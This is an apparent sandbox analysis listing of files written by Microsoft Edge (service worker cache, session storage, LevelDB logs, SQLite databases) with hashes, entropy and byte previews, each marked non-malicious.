File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114372
Entropy (8bit):	5.5782013002018624
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKi8GPXtPZK:d9LyxPXfOxr1lMe1nL/CL/TXEmdXpY
MD5:	CBF02C3C0C2203B90C6A55CCBD1DB17C
SHA1:	E21D7895A3895C4CD099413679486ADE1809576F
SHA-256:	886421802437EA0063A5EE821ADED85B8451759A9577EA0AD2AA118E30CA18D6
SHA-512:	D29E46F25B2A5D1D3BBF51181A8BB0D35B3134DCC3B35C2D6224580F41C3757211CB1E4D72FDA260AC624CED37E1020134B9FD343D6BF72EA0A22EF0255B20CA
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188873
Entropy (8bit):	6.38669544379569
Encrypted:	false
SSDEEP:	3072:eLlix4g6OexwFf3SF3L/QQyTMeQTpfEZ5PBPTz:SxwBS9L/GTtMfMH
MD5:	D4E875ACE0A79BE4D15DC412AC8C2595
SHA1:	E51EEB059CB6DE57A5456AD8DFDF37EACF110025
SHA-256:	E33D384F07A4DED18E3F7FC13519E4269478D569C3C4FD68EE6BF482637BCE04
SHA-512:	48E0BB5FBBC0AA62EBA48088A85882CE8DB9CF0D63A6F88099829C52C26E18B1626E0EC1D2D12770C7063FCAF574CB579B9301C9D1A60B0FCE7048AD380E67E0
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.p........,T.8..`,.....L`.....,T...`......L`......Rc...}....exports...Rc.+......module....Rc.......define....Rb./......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...w.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GKP0jXl/ly/l9/lxEwlta/lsWQ+:GXmOQ4sWN
MD5:	BCB20C9288CD047CF5F5CA2F2E585C99
SHA1:	55B9989A6A63B3FC2328EFE0E8A14C336F46F87C
SHA-256:	ABE8C29F9E45A0D0B42461B02EFD11A5B41558A93E95AD3A4CB5E5893DD04297
SHA-512:	AC1F7B28EC951DF8A8A22C3FB991260FC680371B011BA6AC5184AA63B4A9415268D09E7F43E4617239592446F0A9A3953558321F75E401E0E48965365B372658
Malicious:	false
Preview:	@...3o76oy retne.........................X....,................S...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GKP0jXl/ly/l9/lxEwlta/lsWQ+:GXmOQ4sWN
MD5:	BCB20C9288CD047CF5F5CA2F2E585C99
SHA1:	55B9989A6A63B3FC2328EFE0E8A14C336F46F87C
SHA-256:	ABE8C29F9E45A0D0B42461B02EFD11A5B41558A93E95AD3A4CB5E5893DD04297
SHA-512:	AC1F7B28EC951DF8A8A22C3FB991260FC680371B011BA6AC5184AA63B4A9415268D09E7F43E4617239592446F0A9A3953558321F75E401E0E48965365B372658
Malicious:	false
Preview:	@...3o76oy retne.........................X....,................S...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF43f28.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:GKP0jXl/ly/l9/lxEwlta/lsWQ+:GXmOQ4sWN
MD5:	BCB20C9288CD047CF5F5CA2F2E585C99
SHA1:	55B9989A6A63B3FC2328EFE0E8A14C336F46F87C
SHA-256:	ABE8C29F9E45A0D0B42461B02EFD11A5B41558A93E95AD3A4CB5E5893DD04297
SHA-512:	AC1F7B28EC951DF8A8A22C3FB991260FC680371B011BA6AC5184AA63B4A9415268D09E7F43E4617239592446F0A9A3953558321F75E401E0E48965365B372658
Malicious:	false
Preview:	@...3o76oy retne.........................X....,................S...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6621
Entropy (8bit):	3.3779406758455854
Encrypted:	false
SSDEEP:	192:LHoiNpsMhoVm9Xp+7XiB5SLl9iSrZa/w:LHxsG9Xp+T05SLl9iSrA
MD5:	C70546BBCA7BAFA1FDC4A1550F8CCE87
SHA1:	EFF19C9A898C1BAB3FDEE41EE499060A7AA06BA8
SHA-256:	962D643BCB7C0A6B3BEB085F46A554F62F4F2956D3B22CE2E7194B07D378C43F
SHA-512:	AB795A69897852910BEEC8A6A07F9FB5BB88183AE923FBDB77DCAE1A410A9EA81182BACBC207D48A77E236A290CABF08420216CEB0A5FAEFBF13898D566174EA
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................bk2b................next-map-id.1.Cnamespace-73fff602_068d_4c0b_a096_4e3c5a8cfa5b-https://ntp.msn.com/.0V.e................V.e...................E.................map-0-shd_sweeper.0{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.e.t.q.o.h.p.a.d.c.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.e.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.-.i.m.g.e.m.b.v.4.t.r.e.t.2.p.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.g.1.d.c.y.1.4.-.t.,.1.s.-.t.p.s.n.-.d.s.t.d.c.y.1.4.,.1.s.-.t.p.s.n.p.1.-.d.t.d.c.,.p.r.g.-.1.s.w.-.m.e.b.c.8.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.p.r.1.-.s.v.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.100804199377609
Encrypted:	false
SSDEEP:	6:HEzFXiQ+q2P923oH+TcwtrQMxIFUt8YEzF1ZgZmw+YEzFxiQVkwO923oH+Tcwtrb:kAv4YebCFUt8/v2/+/DV5LYebtJ
MD5:	588DCC91980978CB5B67D49530A41D43
SHA1:	B968637F67CDA1B2A1FD456F48E2C7052DE375A5
SHA-256:	4590CFD026D1335D3531A58621BD5C5286ADEF6C4C8EB252BE7979C2AB121598
SHA-512:	CFDF02053F9573D35414D4B8225A889F156C4E02C1EEC8F82510EF0A7BA12093D3FB6EBF5E9FC131A11E76F5446C804B4DBC041968C78C4C37E193C35E69064C
Malicious:	false
Preview:	2024/11/21-18:11:40.751 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-18:11:40.754 1d08 Recovering log #3.2024/11/21-18:11:40.757 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.100804199377609
Encrypted:	false
SSDEEP:	6:HEzFXiQ+q2P923oH+TcwtrQMxIFUt8YEzF1ZgZmw+YEzFxiQVkwO923oH+Tcwtrb:kAv4YebCFUt8/v2/+/DV5LYebtJ
MD5:	588DCC91980978CB5B67D49530A41D43
SHA1:	B968637F67CDA1B2A1FD456F48E2C7052DE375A5
SHA-256:	4590CFD026D1335D3531A58621BD5C5286ADEF6C4C8EB252BE7979C2AB121598
SHA-512:	CFDF02053F9573D35414D4B8225A889F156C4E02C1EEC8F82510EF0A7BA12093D3FB6EBF5E9FC131A11E76F5446C804B4DBC041968C78C4C37E193C35E69064C
Malicious:	false
Preview:	2024/11/21-18:11:40.751 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-18:11:40.754 1d08 Recovering log #3.2024/11/21-18:11:40.757 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376704301927163

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.80457924093221
Encrypted:	false
SSDEEP:	24:3tl9I7HwUyeDqzpsAF4unxMltLp3X2amEtG1ChqtAimq1KQKkOAM4V:3X9KFvqzzFcLp2FEkCh0AimqpHOp
MD5:	5AEEDDE451B55860D9E310BCC4EBB88C
SHA1:	3DD68E5353F871291DB4F4F1F2ABCBC036CE7E8E
SHA-256:	D33660F3C2B51D3AE7AE2A5248D467777E764E60149E60C87E5DACEBA65C2BFE
SHA-512:	941F50CA1EB7E5BD18283618019EFDB7D2D41AAAAB043768230DF7E55376D1679C1A195C75708FA1EACB2AB076EDEAB8EB0A1FAFB7E7225671FA58749FE91CA7
Malicious:	false
Preview:	SNSS.......8.[u...........8.[u......"8.[u...........8.[u.......8.[u.......9.[u.......9.[u....!..9.[u...............................8.[u9.[u1..,...9.[u$...73fff602_068d_4c0b_a096_4e3c5a8cfa5b...8.[u.......9.[u....].Y........8.[u...8.[u.......................8.[u....................5..0...8.[u&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....8.[u..........8.[u.......................9.[u...........9.[u........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........b.ct'.. b.ct'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.181383369546611
Encrypted:	false
SSDEEP:	6:HEzF9QL+q2P923oH+Tcwt7Uh2ghZIFUt8YEzF9G1Zmw+YEzFIkH3AQLVkwO923oz:kTVv4YebIhHh2FUt8/TG1/+/BAI5LYeQ
MD5:	ADE7C25FB6E61DE4BFF08337F454E4CB
SHA1:	E97DB0CD1497968504ACEE61439CC00468C92B72
SHA-256:	11BFACDCB5AE8840133DE7D86BCE9FC34A5BADCEFBD755D4605568E5F872F108
SHA-512:	40D3CA2F7F1C693E9C098999A9025B74697BBFF3B564075BC755296C8AC4FFBDCF5F575009A8A5E0E4DC162706D35A1256BE6A118D61CDEB240D5CF033385CB4
Malicious:	false
Preview:	2024/11/21-18:11:39.558 d78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-18:11:39.558 d78 Recovering log #3.2024/11/21-18:11:39.557 d78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.181383369546611
Encrypted:	false
SSDEEP:	6:HEzF9QL+q2P923oH+Tcwt7Uh2ghZIFUt8YEzF9G1Zmw+YEzFIkH3AQLVkwO923oz:kTVv4YebIhHh2FUt8/TG1/+/BAI5LYeQ
MD5:	ADE7C25FB6E61DE4BFF08337F454E4CB
SHA1:	E97DB0CD1497968504ACEE61439CC00468C92B72
SHA-256:	11BFACDCB5AE8840133DE7D86BCE9FC34A5BADCEFBD755D4605568E5F872F108
SHA-512:	40D3CA2F7F1C693E9C098999A9025B74697BBFF3B564075BC755296C8AC4FFBDCF5F575009A8A5E0E4DC162706D35A1256BE6A118D61CDEB240D5CF033385CB4
Malicious:	false
Preview:	2024/11/21-18:11:39.558 d78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-18:11:39.558 d78 Recovering log #3.2024/11/21-18:11:39.557 d78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.193969608920968
Encrypted:	false
SSDEEP:	12:kWVv4YebvqBQFUt8/WUu5/+/nM5LYebvqBvJ:kW54YebvZg8/WknWLYebvk
MD5:	2347E1D575CADA96402B8E118757E617
SHA1:	668543572AA821F1BCC3C69B6032E41957189BD8
SHA-256:	FA3E4F0482DCD52147378DFE9E36AF3593FD08196CF918A52C4DC923AF521ED5
SHA-512:	E6837DB2EC8B13EF4142E6219B4FBAA0EB75D496318CF8E468653FA799914C4F0B895E70F1A98011D0F18236E13A5DDA12EBF3D8E40A0EF695E25D8C685ACEA8
Malicious:	false
Preview:	2024/11/21-18:11:40.360 1d48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-18:11:40.361 1d48 Recovering log #3.2024/11/21-18:11:40.460 1d48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.193969608920968
Encrypted:	false
SSDEEP:	12:kWVv4YebvqBQFUt8/WUu5/+/nM5LYebvqBvJ:kW54YebvZg8/WknWLYebvk
MD5:	2347E1D575CADA96402B8E118757E617
SHA1:	668543572AA821F1BCC3C69B6032E41957189BD8
SHA-256:	FA3E4F0482DCD52147378DFE9E36AF3593FD08196CF918A52C4DC923AF521ED5
SHA-512:	E6837DB2EC8B13EF4142E6219B4FBAA0EB75D496318CF8E468653FA799914C4F0B895E70F1A98011D0F18236E13A5DDA12EBF3D8E40A0EF695E25D8C685ACEA8
Malicious:	false
Preview:	2024/11/21-18:11:40.360 1d48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/21-18:11:40.361 1d48 Recovering log #3.2024/11/21-18:11:40.460 1d48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\10edaaa5-2665-476c-9c7f-8b6fd3c7c6fd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2df4dfdf-ea8f-4be1-bc30-f4785db61041.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d60e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d9c7878f-8da6-4a74-80d6-2b7121bbcfe3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

